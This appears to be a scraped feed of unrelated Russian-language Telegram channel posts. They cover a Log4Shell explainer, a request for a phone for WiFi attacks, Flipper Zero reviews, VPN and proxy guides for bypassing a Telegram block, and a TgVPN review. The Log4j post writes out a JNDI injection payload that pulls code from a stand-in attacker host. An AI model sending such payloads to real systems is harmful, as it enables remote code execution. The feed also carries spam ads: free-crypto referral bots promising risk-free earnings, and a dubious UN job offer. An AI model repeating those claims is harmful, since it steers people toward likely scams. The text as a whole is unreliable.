Люблю когда везде есть системность https://www.kommersant.ru/doc/5141075

У половины интернета нашли выполнение произвольного кода через Log4j.

Выглядит это так:

1) Посылаем специально сформированный запрос вида ${jndi:ldap://attacker.host/blabla} в любое место, которое потенциально может залогироваться.
2) JNDI (Java Naming and Directory Interface) в свою очередь обрабатывает шаблон, запрашивает данные через LDAP у attacker.host
3) В ответе отдается JAVA класс, который и позволяет выполнить произвольный код.

Гроб. Гроб. Кладбище.
Временный фикс: JAVA_OPTS="-Dlog4j.formatMsgNoLookups=true”

Вот примеры того, что уязвимо (От Cloudflare и Apple до серверов майнкрафта).

Посоветуйте кулхацкерскую мобилу на Android

Никогда в жизни не использовал Kali Nethunter. Какую мобилу лучше всего взять, чтобы она умела:

* Атаки на WiFi: pixie wps, PMKID, сниффер хендшейков, точка доступа MANA

* Сбор данных о сотовых вышках для cellmaper

* Нормальный LTE cat 6 (или хотя бы cat 4)

Обзоры флиппера доехали до пользователей Одноклассников. Отсюда

Большой независимый обзор Флиппера. Автор прикрутил к Флипперу GPS модуль и написал плагин для прошивки

https://youtu.be/ImQ_TO92kGM

Пошли независимые обзоры от early adopter-ов. Важный момент: у автора версия железа 10.F6B8C5, в ней уехало согласование аналоговой части NFC, из-за этого хуже работает эмуляция. Но в актуальной версии эта проблема исправлена.

https://mysku.ru/blog/others/87437.html

О ФСБ и Telegram вам обязательно расскажут в СМИ и на других каналах. Шума сейчас будет много.

Я же, просто подниму свой старый пост со ссылками на инструкции.

🔐 Настройка собственного VPN сервера:
https://sysadmin.pm/openvpn/
https://sysadmin.pm/openvpn-speed/

🔏 Настройка собственного proxy сервера:
https://sysadmin.pm/3proxy/

🔒 Настройка SSH тунеля без заморочек:
https://sysadmin.pm/sshuttle/

Там OpenVPN, 3proxy и Sshuttle. Ну и в принципе по тому же OpenVPN было достаточно интересного - и автоустановщики, и настройка на увеличение скорости. Обязательно этот хештег посмотрите - #openvpn

Повода для паники не вижу (во всяком случае для аудитории этого канала), но готовым нужно быть ко всему. 😉

Готовность №1. Telegram могут заблокировать уже завтра!

День добрый, господа! Скорее всего вы уже знаете, что РКН дал телеграму срок в 15 дней для передачи ключей шифрования. Завтра этот срок истекает и, соответственно, телеграм могут заблокировать. Мы не будем рассуждать о причинах блокировки (все итак все понимают), а просто напомним как эту самую блокировку обойти.

Наши статьи про обход блокировки tg:
— Безопасное использования telegram.
— Telegram через Tor на Android.

Статьи других ресурсов про обход блокировки tg:
— РосКомСвобода;
— Meduza;
— Tjournal;
— Как активировать SOCKS 5 в Telegram.

Полезные боты/сервисы:
— @tgvpnbot
— @socks5_bot
— @veesecurity

Максимально достоверные новости о блокировке телеги вы можете получать тут:
— roskomsvoboda.org
— @d_code
— @pchikov
(ну и, конечно, оф. страницы Пашки в соц. сетях)

Официальный сайт «Битвы за Telegram» — https://telegram.vs.fsb.today

По поводу падения онлайна: практика показывает, что после блокировки остается примерно половина пользователей. У телеграма в Иране осталось примерно 70% юзеров. У Zello, заблокированного в РФ, около 50%. Сразу после блокировки онлайн резко упадет примерно до 30%, затем постепенно, в течение года, будет восстанавливаться до 60-70%. Кстати, не стоит недооценивать РКН. Нужно надеяться на лучшее, но готовится к худшему.

По возможности максимально распространите этот пост и оставайтесь с нами!

​Как защитить свои права? Ликбез по общению с полицией и ГИБДД #ЧернаяБиблиотека

Доброе утро, господа! Как гражданину общаться с представителями правоохранительных органов и чем это может закончиться?

Эта книга содержит базовые знания по общению с полицией, сотрудниками ГАИ и ППС, а также поможет читателям приобрести навыки юридической грамотности и знать свои права.

Скачать в PDF

Обзор TgVPN

Сервис не отслеживает активность пользователя и не сохраняет никаких журналов о вашей деятельности в сети, это значит, что никто не сможет узнать о том, какое программное обеспечение вы использовали, какие сайты вы посещали, какой контент загружали и т. д.

Private Networks L.P. зарегистрирована в Великобритании, а её сотрудники живут в разных странах. По словам Владислава Здольникова, руководителя TgVPN, это гарантирует, что запросы на выдачу информации от властей СНГ будут игнорироваться.

Так же стоит упомянуть о приятном дополнении, которым является бесплатный proxy-сервер для всех пользователей Telegram. Использование прокси абсолютно бесплатно, но не стоит использовать эти настройки без надобности.

Если вы хотите уехать за границу прямо сейчас — устройтесь в ООН. Там платят по 450 000 рублей за легкую работу, а граждан из СНГ берут в первую очередь.

Английский не нужен, опыт тоже. Просто держите в подписках @stagirovky — там публикуют лучшие волонтерства, стажировки и гранты со всего мира.

Так что уже сегодня вы сможете уехать на стажировку. Кстати, дистанционных позиций сейчас тоже очень много. Ну, вдруг вам неохота лететь куда-то, но хочется хорошо заработать?

В общем, подписывайтесь и стройте международную карьеру, попутно помогая спасти мир: @stagirovky

[Нина] Контент-план для всего (2022)
▶️ https://youtu.be/DDygBI7kk20

Как создать рабочий контент-план сразу для трёх каналов контента внутри Инстаграм - для постов, Сторис и Рилс?
Что, если вести отдельные контент планы для всех этих направлений слишком времязатратно для вас? Давайте попробуем отптимизировать ваше время и энергию - в этом видео рассмотрим контент план 3 в 1: сразу для постов, Сторис и Рилс!

💣LTC Free Bot - New bot gives out Litecoin for inviting friends and also gives out bonuses every 4 hours, hurry up and get money to your wallet!
✅Pays $0.09 for each friend💰
✅Bonuses every 4 hours.
💳Withdraws daily!
Go ahead and invite your friends before they do it first❗️👉🏻 Bot link

🌅 We are sure that you have already heard about the Xelius XEL BEP20 token. But if this is not the case, then we suggest that you take a closer look.

Before the start of trading, which will begin soon, the company distributes the XEL token for free and for this you only need to connect the XELIUS telegram bot.
By connecting the bot, you will receive a random number of tokens daily, which you can immediately withdraw to your ✅ Trust, SafePal or Metamask wallet.

The bot also has an affiliate program:
🧑‍💻 You will receive 0.1 XEL for each partner and 10% XEL from the bonuses they receive.

If you are a beginner and do not understand cryptocurrency, this is a great opportunity to understand, start and earn start-up capital 💰💰💰,
and most importantly, no investment is required from you, in any case you do not lose anything. Try it and see for yourself!

💎 Direct link - https://t.me/xeltokenbot

🤵🏻‍♂Крёстный Котец - это как Мафия, но с дополнительными заданиями (мини-игры)

Соревнуйтесь в выполнении заданий:
➗ Математика
⏰🙃 Поиск Emoji
💡 Логика
- А после этого вычислите предателя, который мешал вам. Кто победит - бухгалтер, завхоз, социолог, аналитик - или Крёстный Котец с мафией?

А еще бот раздает всем пользователям персональные 🎭стикеры с вашим именем ;)

Игровой чат: t.me/KotecPlay
Перейти в бота: 🤵🏻‍♂Крёстный Котец
Добавить в группу: Добавить